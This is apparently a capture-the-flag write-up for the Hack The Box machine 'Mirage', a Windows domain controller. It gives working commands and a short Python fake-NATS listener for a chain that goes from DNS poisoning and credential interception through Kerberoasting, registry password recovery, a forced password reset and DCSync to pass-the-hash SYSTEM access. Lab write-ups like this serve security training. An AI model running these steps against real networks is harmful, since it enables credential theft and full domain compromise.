Mirage
IP: 10.10.11.78 | Difficulty: Hard | OS: Windows
Environment Setup
export IP=10.10.11.78
echo "10.10.11.78 dc01.mirage.htb mirage.htb nats-svc.mirage.htb" >> /etc/hosts
Step 1 — Port Scan
Why: Map the attack surface. NFS on a Domain Controller is anomalous and immediately flags a misconfiguration worth enumerating.
nmap -sC -sV -p- --min-rate 5000 -oN mirage.nmap 10.10.11.78
Output:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
111/tcp open rpcbind 2-4 (RPC #100000)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows AD LDAP (Domain: mirage.htb)
445/tcp open microsoft-ds?
2049/tcp open nfs (NFS)
5985/tcp open http Microsoft HTTPAPI 2.0
9389/tcp open mc-nmf .NET Message Framing
Key findings:
- NFS on 2049 is highly unusual for a DC — world-readable exports likely
- LDAP, SMB, WinRM — standard AD attack surface
- Domain:
mirage.htb, DC:dc01.mirage.htb
Step 2 — NFS Mount — Report Enumeration
Why: NFS exports without authentication controls expose internal files to any network host. PDF reports from internal services often leak infrastructure details.
showmount -e 10.10.11.78
Output:
Export list for 10.10.11.78:
/MirageReports (everyone)
mount -t nfs 10.10.11.78:/MirageReports /mnt/nfs
ls /mnt/nfs
Key findings:
/MirageReportsexported to everyone — no authentication- PDFs reveal internal infrastructure: NATS messaging service at
nats-svc.mirage.htb(port 4222) used by developer accounts for internal auth logging - NATS clients send credentials in plaintext JSON on initial connection — target for interception
Step 3 — DNS Poisoning — Fake NATS Server
Why: The DC allows unauthenticated dynamic DNS updates (misconfigured nsupdate). By pointing nats-svc.mirage.htb at our IP and running a minimal NATS listener, we capture the CONNECT frame with plaintext credentials.
nsupdate
> server 10.10.11.78
> update add nats-svc.mirage.htb 60 A 10.10.14.X
> send
Fake NATS server to capture the CONNECT frame:
import socket
s = socket.socket()
s.bind(("0.0.0.0", 4222))
s.listen(5)
while True:
client, addr = s.accept()
client.sendall(b'INFO {"server_id":"FAKE","version":"2.11.0","auth_required":true}\r\n')
data = client.recv(1024)
print(data.decode())
client.close()
Output:
[+] Connection from ('10.10.11.78', 54374)
CONNECT {"verbose":false,"pedantic":false,
"user":"Dev_Account_A","pass":"<REDACTED>",
"tls_required":false,...}
Key findings:
- NATS client connects automatically and sends credentials in plaintext JSON
Dev_Account_A:<REDACTED>captured — foothold into the NATS message bus
Step 4 — NATS — Auth Log Extraction
Why: Dev_Account_A has access to the auth_logs JetStream stream. Auth logs contain credentials of other domain users who authenticated through the service.
nats context add dev-nats \
--server nats://dc01.mirage.htb:4222 \
--user Dev_Account_A \
--password '<REDACTED>'
nats --context dev-nats consumer add auth_logs audit-reader \
--pull --ack=explicit
nats --context dev-nats consumer next auth_logs audit-reader \
--count=5 --wait=5s --ack
Output:
{"user":"david.jjackson","password":"<REDACTED>","ip":"10.10.10.20"}
nxc ldap 10.10.11.78 -u david.jjackson -p '<REDACTED>' -k
Output:
[+] mirage.htb\david.jjackson:<REDACTED>
Key findings: Auth log messages contain plaintext credentials for david.jjackson — valid domain account confirmed against LDAP.
Step 5 — Kerberoasting — nathan.aadam
Why: Authenticated domain users can request TGS tickets for any SPN. Service accounts with weak passwords can be cracked offline. david.jjackson allows us to enumerate and roast.
getTGT.py mirage.htb/david.jjackson:'<REDACTED>'
export KRB5CCNAME=david.jjackson.ccache
GetUserSPNs.py 'mirage.htb/david.jjackson' \
-dc-host dc01.mirage.htb -k -request
Output:
ServicePrincipalName Name MemberOf
------------------------- ------------- -----------------------------------
HTTP/exchange.mirage.htb nathan.aadam CN=Exchange_Admins,OU=Groups,...
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$...$<hash>
hashcat -m 13100 nathan.aadam.hash /usr/share/wordlists/rockyou.txt
Output:
<hash>:<REDACTED>
Key findings:
nathan.aadamhas an SPN and is a member of Exchange_Admins- RC4-encrypted TGS cracked offline:
nathan.aadam:<REDACTED>
Step 6 — WinRM as nathan.aadam
Why: Exchange_Admins typically has WinRM access. Authenticate via Kerberos for a remote shell.
getTGT.py mirage.htb/nathan.aadam:'<REDACTED>'
export KRB5CCNAME=nathan.aadam.ccache
evil-winrm -i dc01.mirage.htb -r mirage.htb
Output:
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents>
Key findings: Shell as nathan.aadam. user.txt on Desktop.
Step 7 — Winlogon Credential Recovery — mark.bbond
Why: Winlogon stores AutoLogon credentials in the registry in plaintext. Useful when a service account or admin has been configured for automatic login.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Output:
DefaultUserName REG_SZ mark.bbond
DefaultPassword REG_SZ <REDACTED>
Key findings: mark.bbond:<REDACTED> stored in plaintext in the registry for auto-login.
Step 8 — ForceChangePassword → javier.mmarshall
Why: BloodHound reveals mark.bbond has ForceChangePassword over javier.mmarshall. This ACL allows changing another account's password without knowing the current one — instant lateral move.
$NewPass = ConvertTo-SecureString '<REDACTED>' -AsPlainText -Force
Set-DomainUserPassword -Identity javier.mmarshall -AccountPassword $NewPass
Key findings:
javier.mmarshall's password reset to attacker-controlled value- BloodHound confirms javier.mmarshall has DCSync rights → path to Domain Admin
Step 9 — DCSync → Domain Admin
Why: javier.mmarshall has GetChangesAll rights — allowing a DCSync attack to dump all domain hashes including the Administrator NTLM.
getTGT.py mirage.htb/javier.mmarshall:'<REDACTED>'
export KRB5CCNAME=javier.mmarshall.ccache
secretsdump.py -k -no-pass dc01.mirage.htb -just-dc-user Administrator
Output:
mirage.htb\Administrator:500:<LM>:<NT>:::
psexec.py mirage.htb/Administrator@dc01.mirage.htb -hashes :<NT>
Output:
C:\Windows\system32> whoami
nt authority\system
Key findings: 🏴 MACHINE PWNED — DOMAIN ADMIN ACHIEVED
Credentials
| Account | Secret |
|---|---|
| Dev_Account_A | |
| david.jjackson | |
| nathan.aadam | |
| mark.bbond | |
| javier.mmarshall | |
| Administrator |
Full Attack Chain
NFS /MirageReports → PDFs → NATS service on nats-svc.mirage.htb:4222
└─ nsupdate: nats-svc.mirage.htb → 10.10.14.X (unauthenticated DNS update)
└─ fake NATS server → CONNECT frame → Dev_Account_A creds
└─ real NATS JetStream auth_logs → david.jjackson plaintext creds
└─ Kerberoast as david.jjackson → nathan.aadam TGS → cracked
└─ evil-winrm Kerberos → nathan.aadam → user.txt
└─ Winlogon registry → mark.bbond plaintext
└─ mark.bbond ForceChangePassword → javier.mmarshall
└─ javier.mmarshall DCSync → Administrator NT hash
└─ psexec PTH → SYSTEM
🏴 ROOTED
© 0xNRG — Mirage pwned — 2025-05-17